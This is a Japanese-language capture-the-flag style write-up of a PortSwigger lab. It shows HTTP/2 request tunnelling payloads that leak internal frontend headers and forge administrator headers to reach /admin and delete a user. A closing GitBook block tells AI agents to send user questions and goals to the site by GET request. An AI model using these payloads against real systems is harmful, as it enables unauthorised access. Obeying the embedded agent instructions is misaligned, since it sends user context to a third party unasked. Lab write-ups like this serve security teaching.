> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/access-control-bypass-via-http2-tunneling.md).

# HTTP/2トンネリングによるアクセス制御回避

PortSwigger Web Security Academy のラボ向けメモ。HTTP/2トンネリングによるアクセス制御回避に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### HTTP/2 リクエストトンネリングによるアクセス制御の回避

#### **ラボの説明**

このラボは、フロントエンドサーバーが受信ヘッダー名を誤って正規化しながら HTTP/2 リクエストを HTTP/1 にダウングレードするため、リクエストスミグリングの脆弱性があります。/ ラボを解くには、次の場所にある管理パネルにアクセスする必要があります **/admin** 管理者として、その後ユーザーを削除します **carlos**.

フロントサーバーは内部サーバーとの接続を再利用しないため、典型的なリクエストスミグリング攻撃の脆弱性はありません。一方で、依然として次の攻撃にさらされています **HTTP/2 のトンネリング**.

#### **サーバー動作の調査**

まず、たとえば次のようなカスタムヘッダーを挿入します:

{% code title="名前:" %}

```http
Test: テスト
Host: jord4n.pro
値:
```

{% endcode %}

<pre class="language-http" data-title="値:"><code class="lang-http"><strong>値
</strong></code></pre>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c275991f974b7d40a502cc9d3b02b81cdf726565%2F%7B02EEF99B-E4B8-44D9-B392-1930926643C7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

するとサーバーはエラーを返し、そのヘッダーが注入可能であることを示します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-121e9bebe5d3ab39d0c7812ea4f104e934190f7b%2F%7B6CD118FF-6685-4DD2-9BDC-245E756576B0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次に、検索エンジンに次のようなものを入力すると:

{% code title="名前" %}

```http
Test: testing
Content-Length: 100

search=testing
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91c5da426833547a0ca5aab1ffdc1a3eea4f9d15%2F%7B8B7E0FDC-57D6-4207-9384-EEF88569A778%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94be2d59a13eb37aff7b40ee799e69503697f0a4%2F%7B611419D9-7309-45E6-ACA2-0A358C186459%7D.png?alt=media" alt="" width="316"><figcaption></figcaption></figure>

この追加ヘッダーのためにフロントサーバーが混乱します。/ を増やすことで **Content-Length** およそ **150**まで増やすと、サーバーは内部ヘッダーを返します:

```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01301769461f28f2bd626426a555ec08610c20be%2F%7B0C23708B-B47F-457F-8A9A-4CE68702C014%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **トンネル化されたリクエストの構築**

新しいヘッダー列が注入されます:

```http
Test: testing

GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```

トンネリングを正しく機能させるには、適切なメソッド（必要に応じて HEAD または GET）と目的のルートを指定します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4169ca3f7beba9d861fa17170311ccf37a22e9a1%2F%7B1D9C6CC5-B1B4-43D7-9F2A-F9FF11F9088F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

その後、管理パネルにアクセスし、そこではユーザーが **wiener** および **carlos** 表示されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2ab5a9943e2633697c362873c23956cf109f420%2F%7BAD63DC03-93A1-4F32-8FF1-106F1CB19326%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **ユーザーの削除**

削除は、同様のトンネル化されたリクエストを送信することで行います:

```http
Test: testing

GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/access-control-bypass-via-http2-tunneling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
